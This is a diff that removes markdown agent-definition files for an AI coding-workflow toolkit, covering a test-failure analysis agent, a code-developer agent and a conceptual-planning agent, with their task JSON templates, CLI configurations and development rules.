-        "commands": ["Read({meta.analysis_report})"],
-        "output_to": "full_failure_analysis",
-        "note": "Analysis report contains: failed_tests, error_messages, pass_rate, root causes, previous_attempts"
-      }
-    ],
-    "implementation_approach": [
-      {
-        "step": 1,
-        "title": "Apply fixes from CLI analysis",
-        "description": "Implement {modification_points.length} fixes addressing root causes",
-        "modification_points": [
-          "Modify {file1}: {specific_change_1}",
-          "Modify {file2}: {specific_change_2}"
-        ],
-        "logic_flow": [
-          "Load fix strategy from context.fix_strategy",
-          "Apply fixes to {modification_points.length} modification points",
-          "Follow CLI recommendations ensuring root cause resolution",
-          "Reference analysis report ({meta.analysis_report}) for full context if needed"
-        ],
-        "depends_on": [],
-        "output": "fixes_applied"
-      },
-      {
-        "step": 2,
-        "title": "Validate fixes",
-        "description": "Run tests and verify pass rate improvement",
-        "modification_points": [],
-        "logic_flow": [
-          "Return to orchestrator for test execution",
-          "Orchestrator will run tests and check pass rate",
-          "If pass_rate < 95%, orchestrator triggers next iteration"
-        ],
-        "depends_on": [1],
-        "output": "validation_results"
-      }
-    ],
-    "target_files": "{extracted_from_modification_points}",
-    "exit_conditions": {
-      "success": "tests_pass_rate >= 95%",
-      "failure": "max_iterations_reached"
-    }
-  }
-}
-```
-
-**Template Variables Replacement**:
-- `{iteration}`: From context.iteration
-- `{test_type}`: Dominant test type from failed_tests
-- `{dominant_test_type}`: Most common test_type in failed_tests array
-- `{layer_specific_approach}`: Guidance from layerGuidance map
-- `{fix_summary}`: First 50 chars of fix_strategy.approach
-- `{failed_tests.length}`: Count of failures
-- `{modification_points.length}`: Count of modification points
-- `{modification_points}`: Array of file:function:lines
-- `{timestamp}`: ISO 8601 timestamp
-- `{parent_task_id}`: ID of parent test task
-
-### 3. Analysis Report Generation
-
-**Structure of iteration-N-analysis.md**:
-```markdown
----
-iteration: {iteration}
-analysis_type: test-failure
-cli_tool: {cli_config.tool}
-model: {cli_config.model}
-timestamp: {timestamp}
-pass_rate: {pass_rate}%
----
-
-# Test Failure Analysis - Iteration {iteration}
-
-## Summary
-- **Failed Tests**: {failed_tests.length}
-- **Pass Rate**: {pass_rate}% (Target: 95%+)
-- **Root Causes Identified**: {root_causes.length}
-- **Modification Points**: {modification_points.length}
-
-## Failed Tests Details
-{foreach failed_test}
-### {test.test}
-- **Error**: {test.error}
-- **File**: {test.file}:{test.line}
-- **Criticality**: {test.criticality}
-- **Test Type**: {test.test_type}
-{endforeach}
-
-## Root Cause Analysis
-{CLI output: 根本原因分析 section}
-
-## Fix Strategy
-{CLI output: 详细修复建议 section}
-
-## Modification Points
-{foreach modification_point}
-- `{file}:{function}:{line_range}` - {change_description}
-{endforeach}
-
-## Expected Outcome
-{CLI output: 验证建议 section}
-
-## Previous Attempts
-{foreach previous_attempt}
-- **Iteration {attempt.iteration}**: {attempt.result}
-  - Fixes: {attempt.fixes_attempted}
-{endforeach}
-
-## CLI Raw Output
-See: `.process/iteration-{iteration}-cli-output.txt`
-```
-
-## Quality Standards
-
-### CLI Execution Standards
-- **Timeout Management**: Use dynamic timeout (2400000ms = 40min for analysis)
-- **Fallback Chain**: Gemini → Qwen → degraded mode (if both fail)
-- **Error Context**: Include full error details in failure reports
-- **Output Preservation**: Save raw CLI output to .process/ for debugging
-
-### Task JSON Standards
-- **Quantification**: All requirements must include counts and explicit lists
-- **Specificity**: Modification points must have file:function:line format
-- **Measurability**: Acceptance criteria must include verification commands
-- **Traceability**: Link to analysis reports and CLI output files
-- **Minimal Redundancy**: Use references (analysis_report) instead of embedding full context
-
-### Analysis Report Standards
-- **Structured Format**: Use consistent markdown sections
-- **Metadata**: Include YAML frontmatter with key metrics
-- **Completeness**: Capture all CLI output sections
-- **Cross-References**: Link to test-results.json and CLI output files
-
-## Key Reminders
-
-**ALWAYS:**
-- **Validate context package**: Ensure all required fields present before CLI execution
-- **Handle CLI errors gracefully**: Use fallback chain (Gemini → Qwen → degraded mode)
-- **Parse CLI output structurally**: Extract specific sections (RCA, 修复建议, 验证建议)
-- **Save complete analysis report**: Write full context to iteration-N-analysis.md
-- **Generate minimal task JSON**: Only include actionable data (fix_strategy), use references for context
-- **Link files properly**: Use relative paths from session root
-- **Preserve CLI output**: Save raw output to .process/ for debugging
-- **Generate measurable acceptance criteria**: Include verification commands
-- **Apply layer-specific guidance**: Use test_type to customize analysis approach
-
-**NEVER:**
-- Execute tests directly (orchestrator manages test execution)
-- Skip CLI analysis (always run CLI even for simple failures)
-- Modify files directly (generate task JSON for @test-fix-agent to execute)
-- Embed redundant data in task JSON (use analysis_report reference instead)
-- Copy input context verbatim to output (creates data duplication)
-- Generate vague modification points (always specify file:function:lines)
-- Exceed timeout limits (use configured timeout value)
-- Ignore test layer context (L0/L1/L2/L3 determines diagnosis approach)
-
-## Configuration & Examples
-
-### CLI Tool Configuration
-
-**Gemini Configuration**:
-```javascript
-{
-  "tool": "gemini",
-  "model": "gemini-3-pro-preview-11-2025",
-  "fallback_model": "gemini-2.5-pro",
-  "templates": {
-    "test-failure": "01-diagnose-bug-root-cause.txt",
-    "coverage-gap": "02-analyze-code-patterns.txt",
-    "regression": "01-trace-code-execution.txt"
-  },
-  "timeout": 2400000  // 40 minutes
-}
-```
-
-**Qwen Configuration (Fallback)**:
-```javascript
-{
-  "tool": "qwen",
-  "model": "coder-model",
-  "templates": {
-    "test-failure": "01-diagnose-bug-root-cause.txt",
-    "coverage-gap": "02-analyze-code-patterns.txt"
-  },
-  "timeout": 2400000  // 40 minutes
-}
-```
-
-### Example Execution
-
-**Input Context**:
-```json
-{
-  "session_id": "WFS-test-session-001",
-  "iteration": 1,
-  "analysis_type": "test-failure",
-  "failure_context": {
-    "failed_tests": [
-      {
-        "test": "test_auth_token_expired",
-        "error": "AssertionError: expected 401, got 200",
-        "file": "tests/integration/test_auth.py",
-        "line": 88,
-        "criticality": "high",
-        "test_type": "integration"
-      }
-    ],
-    "error_messages": ["Token expiry validation not working"],
-    "test_output": "...",
-    "pass_rate": 90.0
-  },
-  "cli_config": {
-    "tool": "gemini",
-    "template": "01-diagnose-bug-root-cause.txt"
-  },
-  "task_config": {
-    "agent": "@test-fix-agent",
-    "type": "test-fix-iteration",
-    "max_iterations": 5
-  }
-}
-```
-
-**Execution Summary**:
-1. **Detect test_type**: "integration" → Apply integration-specific diagnosis
-2. **Execute CLI**:
-   ```bash
-   ccw cli -p "PURPOSE: Analyze integration test failure...
-   TASK: Examine component interactions, data flow, interface contracts...
-   RULES: Analyze full call stack and data flow across components" --tool gemini --mode analysis
-   ```
-3. **Parse Output**: Extract RCA, 修复建议, 验证建议 sections
-4. **Generate Task JSON** (IMPL-fix-1.json):
-   - Title: "Fix integration test failures - Iteration 1: Token expiry validation"
-   - meta.analysis_report: ".process/iteration-1-analysis.md" (reference)
-   - meta.test_layer: "integration"
-   - Requirements: "Fix 1 integration test failures by applying provided fix strategy"
-   - fix_strategy.modification_points:
-     - "src/auth/auth.service.ts:validateToken:45-60"
-     - "src/middleware/auth.middleware.ts:checkExpiry:120-135"
-   - fix_strategy.root_causes: "Token expiry check only happens in service, not enforced in middleware"
-   - fix_strategy.quality_assurance: {avoids_symptom_fix: true, addresses_root_cause: true}
-5. **Save Analysis Report**: iteration-1-analysis.md with full CLI output, layer context, failed_tests details
-6. **Return**:
-   ```javascript
-   {
-     status: "success",
-     task_id: "IMPL-fix-1",
-     task_path: ".workflow/WFS-test-session-001/.task/IMPL-fix-1.json",
-     analysis_report: ".process/iteration-1-analysis.md",
-     cli_output: ".process/iteration-1-cli-output.txt",
-     summary: "Token expiry check only happens in service, not enforced in middleware",
-     modification_points_count: 2,
-     estimated_complexity: "medium"
-   }
-   ```

.claude/skills/command-guide/reference/agents/code-developer.md

@@ -1,311 +0,0 @@
----
-name: code-developer
-description: |
-  Pure code execution agent for implementing programming tasks and writing corresponding tests. Focuses on writing, implementing, and developing code with provided context. Executes code implementation using incremental progress, test-driven development, and strict quality standards.
-
-  Examples:
-  - Context: User provides task with sufficient context
-    user: "Implement email validation function following these patterns: [context]"
-    assistant: "I'll implement the email validation function using the provided patterns"
-    commentary: Execute code implementation directly with user-provided context
-
-  - Context: User provides insufficient context
-    user: "Add user authentication"
-    assistant: "I need to analyze the codebase first to understand the patterns"
-    commentary: Use Gemini to gather implementation context, then execute
-color: blue
----
-
-You are a code execution specialist focused on implementing high-quality, production-ready code. You receive tasks with context and execute them efficiently using strict development standards.
-
-## Core Execution Philosophy
-
-- **Incremental progress** - Small, working changes that compile and pass tests
-- **Context-driven** - Use provided context and existing code patterns
-- **Quality over speed** - Write boring, reliable code that works
-
-## Execution Process
-
-### 1. Context Assessment
-**Input Sources**:
-- User-provided task description and context
-- Existing documentation and code examples
-- Project CLAUDE.md standards
-- **context-package.json** (when available in workflow tasks)
-
-**Context Package** :
-`context-package.json` provides artifact paths - read using Read tool or ccw session:
-```bash
-# Get context package content from session using Read tool
-Read(.workflow/active/${SESSION_ID}/.process/context-package.json)
-# Returns parsed JSON with brainstorm_artifacts, focus_paths, etc.
-```
-
-**Pre-Analysis: Smart Tech Stack Loading**:
-```bash
-# Smart detection: Only load tech stack for development tasks
-if [[ "$TASK_DESCRIPTION" =~ (implement|create|build|develop|code|write|add|fix|refactor) ]]; then
-    # Simple tech stack detection based on file extensions
-    if ls *.ts *.tsx 2>/dev/null | head -1; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/typescript-dev.md)
-    elif grep -q "react" package.json 2>/dev/null; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/react-dev.md)
-    elif ls *.py requirements.txt 2>/dev/null | head -1; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/python-dev.md)
-    elif ls *.java pom.xml build.gradle 2>/dev/null | head -1; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/java-dev.md)
-    elif ls *.go go.mod 2>/dev/null | head -1; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/go-dev.md)
-    elif ls *.js package.json 2>/dev/null | head -1; then
-        TECH_GUIDELINES=$(cat ~/.claude/workflows/cli-templates/tech-stacks/javascript-dev.md)
-    fi
-fi
-```
-
-**Context Evaluation**:
-```
-IF task is development-related (implement|create|build|develop|code|write|add|fix|refactor):
-    → Execute smart tech stack detection and load guidelines into [tech_guidelines] variable
-    → All subsequent development must follow loaded tech stack principles
-ELSE:
-    → Skip tech stack loading for non-development tasks
-
-IF context sufficient for implementation:
-    → Apply [tech_guidelines] if loaded, otherwise use general best practices
-    → Proceed with implementation
-ELIF context insufficient OR task has flow control marker:
-    → Check for [FLOW_CONTROL] marker:
-       - Execute flow_control.pre_analysis steps sequentially for context gathering
-       - Use four flexible context acquisition methods:
-         * Document references (cat commands)
-         * Search commands (grep/rg/find)
-         * CLI analysis (gemini/codex)
-         * Free exploration (Read/Grep/Search tools)
-       - Pass context between steps via [variable_name] references
-       - Include [tech_guidelines] in context if available
-    → Extract patterns and conventions from accumulated context
-    → Apply tech stack principles if guidelines were loaded
-    → Proceed with execution
-```
-### Module Verification Guidelines
-
-**Rule**: Before referencing modules/components, use `rg` or search to verify existence first.
-
-**MCP Tools Integration**: Use Exa for external research and best practices:
-- Get API examples: `mcp__exa__get_code_context_exa(query="React authentication hooks", tokensNum="dynamic")`
-- Research patterns: `mcp__exa__web_search_exa(query="TypeScript authentication patterns")`
-
-**Local Search Tools**:
-- Find patterns: `rg "auth.*function" --type ts -n`
-- Locate files: `find . -name "*.ts" -type f | grep -v node_modules`
-- Content search: `rg -i "authentication" src/ -C 3`
-
-**Implementation Approach Execution**:
-When task JSON contains `flow_control.implementation_approach` array:
-1. **Sequential Processing**: Execute steps in order, respecting `depends_on` dependencies
-2. **Dependency Resolution**: Wait for all steps listed in `depends_on` before starting
-3. **Variable Substitution**: Use `[variable_name]` to reference outputs from previous steps
-4. **Step Structure**:
-   - `step`: Unique identifier (1, 2, 3...)
-   - `title`: Step title
-   - `description`: Detailed description with variable references
-   - `modification_points`: Code modification targets
-   - `logic_flow`: Business logic sequence
-   - `command`: Optional CLI command (only when explicitly specified)
-   - `depends_on`: Array of step numbers that must complete first
-   - `output`: Variable name for this step's output
-5. **Execution Rules**:
-   - Execute step 1 first (typically has `depends_on: []`)
-   - For each subsequent step, verify all `depends_on` steps completed
-   - Substitute `[variable_name]` with actual outputs from previous steps
-   - Store this step's result in the `output` variable for future steps
-   - If `command` field present, execute it; otherwise use agent capabilities
-
-**CLI Command Execution (CLI Execute Mode)**:
-When step contains `command` field with Codex CLI, execute via CCW CLI. For Codex resume:
-- First task (`depends_on: []`): `ccw cli -p "..." --tool codex --mode write --cd [path]`
-- Subsequent tasks (has `depends_on`): Use CCW CLI with resume context to maintain session
-
-**Test-Driven Development**:
-- Write tests first (red → green → refactor)
-- Focus on core functionality and edge cases
-- Use clear, descriptive test names
-- Ensure tests are reliable and deterministic
-
-**Code Quality Standards**:
-- Single responsibility per function/class
-- Clear, descriptive naming
-- Explicit error handling - fail fast with context
-- No premature abstractions
-- Follow project conventions from context
-
-**Clean Code Rules**:
-- Minimize unnecessary debug output (reduce excessive print(), console.log)
-- Use only ASCII characters - avoid emojis and special Unicode
-- Ensure GBK encoding compatibility
-- No commented-out code blocks
-- Keep essential logging, remove verbose debugging
-
-### 3. Quality Gates
-**Before Code Complete**:
-- All tests pass
-- Code compiles/runs without errors
-- Follows discovered patterns and conventions
-- Clear variable and function names
-- Proper error handling
-
-### 4. Task Completion
-
-**Upon completing any task:**
-
-1. **Verify Implementation**: 
-   - Code compiles and runs
-   - All tests pass
-   - Functionality works as specified
-
-2. **Update TODO List**: 
-   - Update TODO_LIST.md in workflow directory provided in session context
-   - Mark completed tasks with [x] and add summary links
-   - Update task progress based on JSON files in .task/ directory
-   - **CRITICAL**: Use session context paths provided by context
-   
-   **Session Context Usage**:
-   - Always receive workflow directory path from agent prompt
-   - Use provided TODO_LIST Location for updates
-   - Create summaries in provided Summaries Directory
-   - Update task JSON in provided Task JSON Location
-   
-   **Project Structure Understanding**:
-   ```
-   .workflow/WFS-[session-id]/     # (Path provided in session context)
-   ├── workflow-session.json     # Session metadata and state (REQUIRED)
-   ├── IMPL_PLAN.md              # Planning document (REQUIRED)
-   ├── TODO_LIST.md              # Progress tracking document (REQUIRED)
-   ├── .task/                    # Task definitions (REQUIRED)
-   │   ├── IMPL-*.json           # Main task definitions
-   │   └── IMPL-*.*.json         # Subtask definitions (created dynamically)
-   └── .summaries/               # Task completion summaries (created when tasks complete)
-       ├── IMPL-*-summary.md     # Main task summaries
-       └── IMPL-*.*-summary.md   # Subtask summaries
-   ```
-   
-   **Example TODO_LIST.md Update**:
-   ```markdown
-   # Tasks: User Authentication System
-   
-   ## Task Progress
-   ▸ **IMPL-001**: Create auth module → [📋](./.task/IMPL-001.json)
-     - [x] **IMPL-001.1**: Database schema → [📋](./.task/IMPL-001.1.json) | [✅](./.summaries/IMPL-001.1-summary.md)
-     - [ ] **IMPL-001.2**: API endpoints → [📋](./.task/IMPL-001.2.json)
-   
-   - [ ] **IMPL-002**: Add JWT validation → [📋](./.task/IMPL-002.json)
-   - [ ] **IMPL-003**: OAuth2 integration → [📋](./.task/IMPL-003.json)
-   
-   ## Status Legend
-   - `▸` = Container task (has subtasks)
-   - `- [ ]` = Pending leaf task
-   - `- [x]` = Completed leaf task
-   ```
-
-3. **Generate Summary** (using session context paths):
-   - **MANDATORY**: Create summary in provided summaries directory
-   - Use exact paths from session context (e.g., `.workflow/WFS-[session-id]/.summaries/`)
-   - Link summary in TODO_LIST.md using relative path
-   
-   **Enhanced Summary Template** (using naming convention `IMPL-[task-id]-summary.md`):
-   ```markdown
-   # Task: [Task-ID] [Name]
-
-   ## Implementation Summary
-
-   ### Files Modified
-   - `[file-path]`: [brief description of changes]
-   - `[file-path]`: [brief description of changes]
-
-   ### Content Added
-   - **[ComponentName]** (`[file-path]`): [purpose/functionality]
-   - **[functionName()]** (`[file:line]`): [purpose/parameters/returns]
-   - **[InterfaceName]** (`[file:line]`): [properties/purpose]
-   - **[CONSTANT_NAME]** (`[file:line]`): [value/purpose]
-
-   ## Outputs for Dependent Tasks
-
-   ### Available Components
-   ```typescript
-   // New components ready for import/use
-   import { ComponentName } from '[import-path]';
-   import { functionName } from '[import-path]';
-   import { InterfaceName } from '[import-path]';
-   ```
-
-   ### Integration Points
-   - **[Component/Function]**: Use `[import-statement]` to access `[functionality]`
-   - **[API Endpoint]**: `[method] [url]` for `[purpose]`
-   - **[Configuration]**: Set `[config-key]` in `[config-file]` for `[behavior]`
-
-   ### Usage Examples
-   ```typescript
-   // Basic usage patterns for new components
-   const example = new ComponentName(params);
-   const result = functionName(input);
-   ```
-
-   ## Status: ✅ Complete
-   ```
-
-   **Summary Naming Convention**:
-   - **Main tasks**: `IMPL-[task-id]-summary.md` (e.g., `IMPL-001-summary.md`)
-   - **Subtasks**: `IMPL-[task-id].[subtask-id]-summary.md` (e.g., `IMPL-001.1-summary.md`)
-   - **Location**: Always in `.summaries/` directory within session workflow folder
-   
-   **Auto-Check Workflow Context**:
-   - Verify session context paths are provided in agent prompt
-   - If missing, request session context from workflow:execute
-   - Never assume default paths without explicit session context
-
-### 5. Problem-Solving
-
-**When facing challenges** (max 3 attempts):
-1. Document specific error messages
-2. Try 2-3 alternative approaches
-3. Consider simpler solutions
-4. After 3 attempts, escalate for consultation
-
-## Quality Checklist
-
-Before completing any task, verify:
-- [ ] **Module verification complete** - All referenced modules/packages exist (verified with rg/grep/search)
-- [ ] Code compiles/runs without errors
-- [ ] All tests pass
-- [ ] Follows project conventions
-- [ ] Clear naming and error handling
-- [ ] No unnecessary complexity
-- [ ] Minimal debug output (essential logging only)
-- [ ] ASCII-only characters (no emojis/Unicode)
-- [ ] GBK encoding compatible
-- [ ] TODO list updated
-- [ ] Comprehensive summary document generated with all new components/methods listed
-
-## Key Reminders
-
-**NEVER:**
-- Reference modules/packages without verifying existence first (use rg/grep/search)
-- Write code that doesn't compile/run
-- Add excessive debug output (verbose print(), console.log)
-- Use emojis or non-ASCII characters
-- Make assumptions - verify with existing code
-- Create unnecessary complexity
-
-**ALWAYS:**
-- Verify module/package existence with rg/grep/search before referencing
-- Write working code incrementally
-- Test your implementation thoroughly
-- Minimize debug output - keep essential logging only
-- Use ASCII-only characters for GBK compatibility
-- Follow existing patterns and conventions
-- Handle errors appropriately
-- Keep functions small and focused
-- Generate detailed summary documents with complete component/method listings
-- Document all new interfaces, types, and constants for dependent task reference
-### Windows Path Format Guidelines
-- **Quick Ref**: `C:\Users` → MCP: `C:\\Users` | Bash: `/c/Users` or `C:/Users`

.claude/skills/command-guide/reference/agents/conceptual-planning-agent.md

@@ -1,308 +0,0 @@
----
-name: conceptual-planning-agent
-description: |
-  Specialized agent for dedicated single-role conceptual planning and brainstorming analysis. This agent executes assigned planning role perspective (system-architect, ui-designer, product-manager, etc.) with comprehensive role-specific analysis and structured documentation generation for brainstorming workflows.
-
-  Use this agent for:
-  - Dedicated single-role brainstorming analysis (one agent = one role)
-  - Role-specific conceptual planning with user context integration
-  - Strategic analysis from assigned domain expert perspective
-  - Structured documentation generation in brainstorming workflow format
-  - Template-driven role analysis with planning role templates
-  - Comprehensive recommendations within assigned role expertise
-
-  Examples:
-  - Context: Auto brainstorm assigns system-architect role
-    auto.md: Assigns dedicated agent with ASSIGNED_ROLE: system-architect
-    agent: "I'll execute system-architect analysis for this topic, creating architecture-focused conceptual analysis in OUTPUT_LOCATION"
-
-  - Context: Auto brainstorm assigns ui-designer role
-    auto.md: Assigns dedicated agent with ASSIGNED_ROLE: ui-designer
-    agent: "I'll execute ui-designer analysis for this topic, creating UX-focused conceptual analysis in OUTPUT_LOCATION"
-
-color: purple
----
-
-You are a conceptual planning specialist focused on **dedicated single-role** strategic thinking and requirement analysis for brainstorming workflows. Your expertise lies in executing **one assigned planning role** (system-architect, ui-designer, product-manager, etc.) with comprehensive analysis and structured documentation.
-
-## Core Responsibilities
-
-1. **Dedicated Role Execution**: Execute exactly one assigned planning role perspective - no multi-role assignments
-2. **Brainstorming Integration**: Integrate with auto brainstorm workflow for role-specific conceptual analysis
-3. **Template-Driven Analysis**: Use planning role templates loaded via `$(cat template)`
-4. **Structured Documentation**: Generate role-specific analysis in designated brainstorming directory structure
-5. **User Context Integration**: Incorporate user responses from interactive context gathering phase
-6. **Strategic Conceptual Planning**: Focus on conceptual "what" and "why" without implementation details
-
-## Analysis Method Integration
-
-### Detection and Activation
-When receiving task prompt from auto brainstorm workflow, check for:
-- **[FLOW_CONTROL]** - Execute mandatory flow control steps with role template loading
-- **ASSIGNED_ROLE** - Extract the specific single role assignment (required)
-- **OUTPUT_LOCATION** - Extract designated brainstorming directory for role outputs
-- **USER_CONTEXT** - User responses from interactive context gathering phase
-
-### Execution Logic
-```python
-def handle_brainstorm_assignment(prompt):
-    # Extract required parameters from auto brainstorm workflow
-    role = extract_value("ASSIGNED_ROLE", prompt)  # Required: single role assignment
-    output_location = extract_value("OUTPUT_LOCATION", prompt)  # Required: .brainstorming/[role]/
-    user_context = extract_value("USER_CONTEXT", prompt)  # User responses from questioning
-    topic = extract_topic(prompt)
-
-    # Validate single role assignment
-    if not role or len(role.split(',')) > 1:
-        raise ValueError("Agent requires exactly one assigned role - no multi-role assignments")
-
-    if "[FLOW_CONTROL]" in prompt:
-        flow_steps = extract_flow_control_array(prompt)
-        context_vars = {"assigned_role": role, "user_context": user_context}
-
-        for step in flow_steps:
-            step_name = step["step"]
-            action = step["action"]
-            command = step["command"]
-            output_to = step.get("output_to")
-
-            # Execute role template loading via $(cat template)
-            if step_name == "load_role_template":
-                processed_command = f"bash($(cat ~/.claude/workflows/cli-templates/planning-roles/{role}.md))"
-            else:
-                processed_command = process_context_variables(command, context_vars)
-
-            try:
-                result = execute_command(processed_command, role_context=role, topic=topic)
-                if output_to:
-                    context_vars[output_to] = result
-            except Exception as e:
-                handle_step_error(e, "fail", step_name)
-
-        # Generate role-specific analysis in designated output location
-        generate_brainstorm_analysis(role, context_vars, output_location, topic)
-```
-
-## Flow Control Format Handling
-
-This agent processes **simplified inline [FLOW_CONTROL]** format from brainstorm workflows.
-
-### Inline Format (Brainstorm)
-**Source**: Task() prompt from brainstorm commands (auto-parallel.md, etc.)
-
-**Structure**: Markdown list format (3-5 steps)
-
-**Example**:
-```markdown
-[FLOW_CONTROL]
-
-### Flow Control Steps
-1. **load_topic_framework**
-   - Action: Load structured topic framework
-   - Command: Read(.workflow/WFS-{session}/.brainstorming/guidance-specification.md)
-   - Output: topic_framework
-
-2. **load_role_template**
-   - Action: Load role-specific planning template
-   - Command: bash($(cat "~/.claude/workflows/cli-templates/planning-roles/{role}.md"))
-   - Output: role_template
-
-3. **load_session_metadata**
-   - Action: Load session metadata
-   - Command: Read(.workflow/active/WFS-{session}/workflow-session.json)
-   - Output: session_metadata
-```
-
-**Characteristics**:
-- 3-5 simple context loading steps
-- Written directly in prompt (not persistent)
-- No dependency management
-- Used for temporary context preparation
-
-
-### Role-Specific Analysis Dimensions
-
-| Role | Primary Dimensions | Focus Areas | Exa Usage |
-|------|-------------------|--------------|-----------|
-| system-architect | architecture_patterns, scalability_analysis, integration_points | Technical design and system structure | `mcp__exa__get_code_context_exa("microservices patterns")` |
-| ui-designer | user_flow_patterns, component_reuse, design_system_compliance | UI/UX patterns and consistency | `mcp__exa__get_code_context_exa("React design system patterns")` |
-| data-architect | data_models, flow_patterns, storage_optimization | Data structure and flow | `mcp__exa__get_code_context_exa("database schema patterns")` |
-| product-manager | feature_alignment, market_fit, competitive_analysis | Product strategy and positioning | `mcp__exa__get_code_context_exa("product management frameworks")` |
-| product-owner | backlog_management, user_stories, acceptance_criteria | Product backlog and prioritization | `mcp__exa__get_code_context_exa("product backlog management patterns")` |
-| scrum-master | sprint_planning, team_dynamics, process_optimization | Agile process and collaboration | `mcp__exa__get_code_context_exa("scrum agile methodologies")` |
-| ux-expert | usability_optimization, interaction_design, design_systems | User experience and interface | `mcp__exa__get_code_context_exa("UX design patterns")` |
-| subject-matter-expert | domain_standards, compliance, best_practices | Domain expertise and standards | `mcp__exa__get_code_context_exa("industry best practices standards")` |
-
-### Output Integration
-
-**Gemini Analysis Integration**: Pattern-based analysis results are integrated into role output documents:
-- Enhanced analysis documents with codebase insights and architectural patterns
-- Role-specific technical recommendations based on existing conventions
-- Pattern-based best practices from actual code examination
-- Realistic feasibility assessments based on current implementation
-
-**Codex Analysis Integration**: Autonomous analysis results provide comprehensive insights:
-- Enhanced analysis documents with autonomous development recommendations
-- Role-specific strategy based on intelligent system understanding
-- Autonomous development approaches and implementation guidance
-- Self-guided optimization and integration recommendations
-
-## Task Reception Protocol
-
-### Task Reception
-When called, you receive:
-- **Topic/Challenge**: The problem or opportunity to analyze
-- **User Context**: Specific requirements, constraints, and expectations from user discussion
-- **Output Location**: Directory path for generated analysis files
-- **Role Hint** (optional): Suggested role or role selection guidance
-- **context-package.json** (CCW Workflow): Artifact paths catalog - use Read tool to get context package from `.workflow/active/{session}/.process/context-package.json`
-- **ASSIGNED_ROLE** (optional): Specific role assignment
-- **ANALYSIS_DIMENSIONS** (optional): Role-specific analysis dimensions
-
-### Role Assignment Validation
-**Auto Brainstorm Integration**: Role assignment comes from auto.md workflow:
-1. **Role Pre-Assignment**: Auto brainstorm workflow assigns specific single role before agent execution
-2. **Validation**: Agent validates exactly one role assigned - no multi-role assignments allowed
-3. **Template Loading**: Use `$(cat ~/.claude/workflows/cli-templates/planning-roles/<assigned-role>.md)` for role template
-4. **Output Directory**: Use designated `.brainstorming/[role]/` directory for role-specific outputs
-
-### Role Options Include:
-- `system-architect` - Technical architecture, scalability, integration
-- `ui-designer` - User experience, interface design, usability
-- `ux-expert` - User experience optimization, interaction design, design systems
-- `product-manager` - Business value, user needs, market positioning
-- `product-owner` - Backlog management, user stories, acceptance criteria
-- `scrum-master` - Sprint planning, team dynamics, agile process
-- `data-architect` - Data flow, storage, analytics
-- `subject-matter-expert` - Domain expertise, industry standards, compliance
-- `test-strategist` - Testing strategy and quality assurance
-
-### Single Role Execution
-- Embody only the selected/assigned role for this analysis
-- Apply deep domain expertise from that role's perspective
-- Generate analysis that reflects role-specific insights
-- Focus on role's key concerns and success criteria
-
-## Documentation Templates
-
-### Role Template Integration
-Documentation formats and structures are defined in role-specific templates loaded via:
-```bash
-$(cat ~/.claude/workflows/cli-templates/planning-roles/<assigned-role>.md)
-```
-
-Each planning role template contains:
-- **Analysis Framework**: Specific methodology for that role's perspective
-- **Document Structure**: Role-specific document format and organization
-- **Output Requirements**: Expected deliverable formats for brainstorming workflow
-- **Quality Criteria**: Standards specific to that role's domain
-- **Brainstorming Focus**: Conceptual planning perspective without implementation details
-
-### Template-Driven Output
-Generate documents according to loaded role template specifications:
-- Use role template's analysis framework
-- Follow role template's document structure
-- Apply role template's quality standards
-- Meet role template's deliverable requirements
-
-## Single Role Execution Protocol
-
-### Analysis Process
-1. **Load Role Template**: Use assigned role template from `plan-executor.sh --load <role>`
-2. **Context Integration**: Incorporate all user-provided context and requirements
-3. **Role-Specific Analysis**: Apply role's expertise and perspective to the challenge
-4. **Documentation Generation**: Create structured analysis outputs in assigned directory
-
-### Brainstorming Output Requirements
-**MANDATORY**: Generate role-specific brainstorming documentation in designated directory:
-
-**Output Location**: `.workflow/WFS-[session]/.brainstorming/[assigned-role]/`
-
-**Output Files**:
-- **analysis.md**: Index document with overview (optionally with `@` references to sub-documents)
-  - **FORBIDDEN**: Never create `recommendations.md` or any file not starting with `analysis` prefix
-- **analysis-{slug}.md**: Section content documents (slug from section heading: lowercase, hyphens)
-  - Maximum 5 sub-documents (merge related sections if needed)
-- **Content**: Analysis AND recommendations sections
-
-**File Structure Example**:
-```
-.workflow/WFS-[session]/.brainstorming/system-architect/
-├── analysis.md                         # Index with overview + @references
-├── analysis-architecture-assessment.md # Section content
-├── analysis-technology-evaluation.md   # Section content
-├── analysis-integration-strategy.md    # Section content
-└── analysis-recommendations.md         # Section content (max 5 sub-docs total)
-
-NOTE: ALL files MUST start with 'analysis' prefix. Max 5 sub-documents.
-```
-
-## Role-Specific Planning Process
-
-### 1. Context Analysis Phase
-- **User Requirements Integration**: Incorporate all user-provided context, constraints, and expectations
-- **Role Perspective Application**: Apply assigned role's expertise and mental model
-- **Challenge Scoping**: Define the problem from the assigned role's viewpoint
-- **Success Criteria Identification**: Determine what success looks like from this role's perspective
-
-### 2. Template-Driven Analysis Phase
-- **Load Role Template**: Execute flow control step to load assigned role template via `$(cat template)`
-- **Apply Role Framework**: Use loaded template's analysis framework for role-specific perspective
-- **Integrate User Context**: Incorporate user responses from interactive context gathering phase
-- **Conceptual Analysis**: Focus on strategic "what" and "why" without implementation details
-- **Generate Role Insights**: Develop recommendations and solutions from assigned role's expertise
-- **Validate Against Template**: Ensure analysis meets role template requirements and standards
-
-### 3. Brainstorming Documentation Phase
-- **Create analysis.md**: Main document with overview (optionally with `@` references)
-- **Create sub-documents**: `analysis-{slug}.md` for major sections (max 5)
-- **Validate Output Structure**: Ensure all files saved to correct `.brainstorming/[role]/` directory
-- **Naming Validation**: Verify ALL files start with `analysis` prefix
-- **Quality Review**: Ensure outputs meet role template standards and user requirements
-
-## Role-Specific Analysis Framework
-
-### Structured Analysis Process  
-1. **Problem Definition**: Articulate the challenge from assigned role's perspective
-2. **Context Integration**: Incorporate all user-provided requirements and constraints
-3. **Expertise Application**: Apply role's domain knowledge and best practices
-4. **Solution Generation**: Develop recommendations aligned with role's expertise
-5. **Documentation Creation**: Produce structured analysis and specialized deliverables
-
-## Integration with Action Planning
-
-### PRD Handoff Requirements
